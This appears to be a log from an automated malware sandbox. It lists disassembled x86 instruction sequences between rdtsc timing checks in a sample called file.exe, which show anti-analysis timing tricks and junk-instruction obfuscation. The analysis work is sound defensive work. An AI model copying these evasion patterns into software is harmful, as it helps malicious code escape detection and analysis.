Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460C69 second address: 5460CD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b call 00007F15B4B2615Eh 0x00000010 mov esi, 0782AA41h 0x00000015 pop ecx 0x00000016 mov bl, 70h 0x00000018 popad 0x00000019 mov esp, ebp 0x0000001b pushad 0x0000001c pushad 0x0000001d push ecx 0x0000001e pop edi 0x0000001f pushfd 0x00000020 jmp 00007F15B4B2615Eh 0x00000025 or ch, FFFFFF88h 0x00000028 jmp 00007F15B4B2615Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov esi, 71C86BFFh 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a pop edi 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460CD0 second address: 5460CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470D52 second address: 5470D57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470D57 second address: 5470D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F15B4F0F8DDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470D6E second address: 5470D74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470D74 second address: 5470DBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15B4F0F8E6h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F15B4F0F8E0h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F15B4F0F8E0h 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 mov ecx, ebx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470A33 second address: 5470A37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470A37 second address: 5470A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470A3D second address: 5470AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 pushfd 0x00000006 jmp 00007F15B4B26168h 0x0000000b sub si, E5C8h 0x00000010 jmp 00007F15B4B2615Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F15B4B26166h 0x0000001f push eax 0x00000020 pushad 0x00000021 mov cx, bx 0x00000024 pushfd 0x00000025 jmp 00007F15B4B2615Dh 0x0000002a and ah, FFFFFF96h 0x0000002d jmp 00007F15B4B26161h 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, ebp 0x00000035 jmp 00007F15B4B2615Eh 0x0000003a mov ebp, esp 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F15B4B26167h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470AD9 second address: 5470ADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470ADE second address: 5470B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4B26165h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop ecx 0x00000012 mov eax, ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0818 second address: 54F082E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F082E second address: 54F0832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0832 second address: 54F0838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0838 second address: 54F083E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F083E second address: 54F0842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0842 second address: 54F0846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0BED second address: 54E0C42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, bx 0x00000010 pushfd 0x00000011 jmp 00007F15B4F0F8DFh 0x00000016 or ecx, 23B190FEh 0x0000001c jmp 00007F15B4F0F8E9h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C42 second address: 54E0C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C48 second address: 54E0C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C4C second address: 54E0C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f pushfd 0x00000010 jmp 00007F15B4B2615Ch 0x00000015 sub ax, F728h 0x0000001a jmp 00007F15B4B2615Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C7A second address: 54E0CAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b jmp 00007F15B4F0F8DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 movzx eax, bx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A1F second address: 54E0A25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A25 second address: 54E0A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A29 second address: 54E0A5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F15B4B26160h 0x00000010 adc cx, DEB8h 0x00000015 jmp 00007F15B4B2615Bh 0x0000001a popfd 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A5A second address: 54E0A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F15B4F0F8E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548001B second address: 548001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548001F second address: 5480023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480023 second address: 5480029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480029 second address: 548004C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15B4F0F8E2h 0x00000008 mov si, D681h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548004C second address: 5480050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480050 second address: 5480068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0031 second address: 54F0056 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 9072h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c mov dl, A0h 0x0000000e mov cx, 8BEDh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F15B4B2615Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0056 second address: 54F005C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F005C second address: 54F0060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0060 second address: 54F0064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0064 second address: 54F008B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F15B4B26169h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F008B second address: 54F0091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0091 second address: 54F0157 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007F15B4B26160h 0x00000011 push dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 jmp 00007F15B4B2615Eh 0x0000001a mov ch, B5h 0x0000001c popad 0x0000001d call 00007F15B4B26159h 0x00000022 jmp 00007F15B4B2615Dh 0x00000027 push eax 0x00000028 pushad 0x00000029 mov esi, edi 0x0000002b call 00007F15B4B26163h 0x00000030 mov dx, si 0x00000033 pop esi 0x00000034 popad 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F15B4B26160h 0x00000040 adc cx, 1B68h 0x00000045 jmp 00007F15B4B2615Bh 0x0000004a popfd 0x0000004b pushfd 0x0000004c jmp 00007F15B4B26168h 0x00000051 xor ax, 6DC8h 0x00000056 jmp 00007F15B4B2615Bh 0x0000005b popfd 0x0000005c popad 0x0000005d mov eax, dword ptr [eax] 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push ecx 0x00000063 pop ebx 0x00000064 mov al, 0Ah 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549036A second address: 5490386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490386 second address: 549038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549038A second address: 549038E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549038E second address: 5490394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490394 second address: 54903B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 mov bx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B4F0F8E5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54903B8 second address: 5490421 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F15B4B26160h 0x00000008 add esi, 7934EC18h 0x0000000e jmp 00007F15B4B2615Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 movzx esi, dx 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007F15B4B2615Ch 0x00000023 pop eax 0x00000024 pushfd 0x00000025 jmp 00007F15B4B2615Bh 0x0000002a sbb esi, 5D40CD8Eh 0x00000030 jmp 00007F15B4B26169h 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490421 second address: 549047C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B4F0F8E7h 0x00000009 sub si, 2B9Eh 0x0000000e jmp 00007F15B4F0F8E9h 0x00000013 popfd 0x00000014 mov ah, 9Bh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007F15B4F0F8E4h 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549047C second address: 5490481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490481 second address: 5490491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, C2h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490491 second address: 5490497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490497 second address: 549049D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549049D second address: 54904A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904A1 second address: 54904A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904A5 second address: 54904DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 4DA9473Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F15B4B26166h 0x00000016 sbb cl, FFFFFF88h 0x00000019 jmp 00007F15B4B2615Bh 0x0000001e popfd 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54904DE second address: 5490528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 3B508727h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F15B4F0F8DBh 0x00000019 sub ah, 0000007Eh 0x0000001c jmp 00007F15B4F0F8E9h 0x00000021 popfd 0x00000022 movzx esi, bx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490528 second address: 549052E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549052E second address: 5490532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490532 second address: 54905D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 0FF36ECBh 0x00000010 jmp 00007F15B4B26161h 0x00000015 xor dword ptr [esp], 7903C0CBh 0x0000001c jmp 00007F15B4B2615Eh 0x00000021 mov eax, dword ptr fs:[00000000h] 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F15B4B2615Eh 0x0000002e adc eax, 4FB44E38h 0x00000034 jmp 00007F15B4B2615Bh 0x00000039 popfd 0x0000003a pushfd 0x0000003b jmp 00007F15B4B26168h 0x00000040 sub si, 4898h 0x00000045 jmp 00007F15B4B2615Bh 0x0000004a popfd 0x0000004b popad 0x0000004c nop 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54905D1 second address: 54905D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54905D7 second address: 54905F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4B26169h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54905F4 second address: 54905F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54905F8 second address: 5490627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15B4B2615Ch 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F15B4B26167h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490627 second address: 549064C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 0Ch 0x00000005 mov ah, 4Ch 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub esp, 1Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B4F0F8E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549064C second address: 5490652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490652 second address: 5490656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490656 second address: 54906CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F15B4B26164h 0x00000010 or eax, 710C7C78h 0x00000016 jmp 00007F15B4B2615Bh 0x0000001b popfd 0x0000001c call 00007F15B4B26168h 0x00000021 movzx esi, di 0x00000024 pop ebx 0x00000025 popad 0x00000026 mov dword ptr [esp], ebx 0x00000029 jmp 00007F15B4B2615Ah 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F15B4B26167h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54906CB second address: 549070E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 jmp 00007F15B4F0F8E0h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F15B4F0F8DBh 0x00000014 xchg eax, esi 0x00000015 jmp 00007F15B4F0F8E6h 0x0000001a xchg eax, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549070E second address: 5490712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490712 second address: 5490718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490718 second address: 549071F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 8Ah 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549071F second address: 5490766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F15B4F0F8DAh 0x0000000d xchg eax, edi 0x0000000e pushad 0x0000000f mov si, CBEDh 0x00000013 mov ch, 39h 0x00000015 popad 0x00000016 mov eax, dword ptr [76FBB370h] 0x0000001b jmp 00007F15B4F0F8E5h 0x00000020 xor dword ptr [ebp-08h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F15B4F0F8DDh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490766 second address: 549076C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549076C second address: 5490824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a pushad 0x0000000b call 00007F15B4F0F8E2h 0x00000010 pushfd 0x00000011 jmp 00007F15B4F0F8E2h 0x00000016 sub eax, 34088F78h 0x0000001c jmp 00007F15B4F0F8DBh 0x00000021 popfd 0x00000022 pop ecx 0x00000023 mov ah, dl 0x00000025 popad 0x00000026 nop 0x00000027 pushad 0x00000028 push ecx 0x00000029 pushfd 0x0000002a jmp 00007F15B4F0F8DDh 0x0000002f add cl, 00000016h 0x00000032 jmp 00007F15B4F0F8E1h 0x00000037 popfd 0x00000038 pop ecx 0x00000039 mov di, 5DB4h 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007F15B4F0F8DFh 0x00000048 add ecx, 09AB394Eh 0x0000004e jmp 00007F15B4F0F8E9h 0x00000053 popfd 0x00000054 call 00007F15B4F0F8E0h 0x00000059 pop eax 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490824 second address: 5490888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 pushfd 0x00000007 jmp 00007F15B4B2615Ah 0x0000000c xor ecx, 3EF718F8h 0x00000012 jmp 00007F15B4B2615Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b nop 0x0000001c jmp 00007F15B4B26166h 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 jmp 00007F15B4B26160h 0x00000029 mov dword ptr fs:[00000000h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F15B4B2615Ah 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490888 second address: 549088C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549088C second address: 5490892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490892 second address: 5490898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5490898 second address: 54908DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007F15B4B26160h 0x00000013 mov eax, dword ptr [esi+10h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F15B4B2615Ah 0x0000001f rdtsc
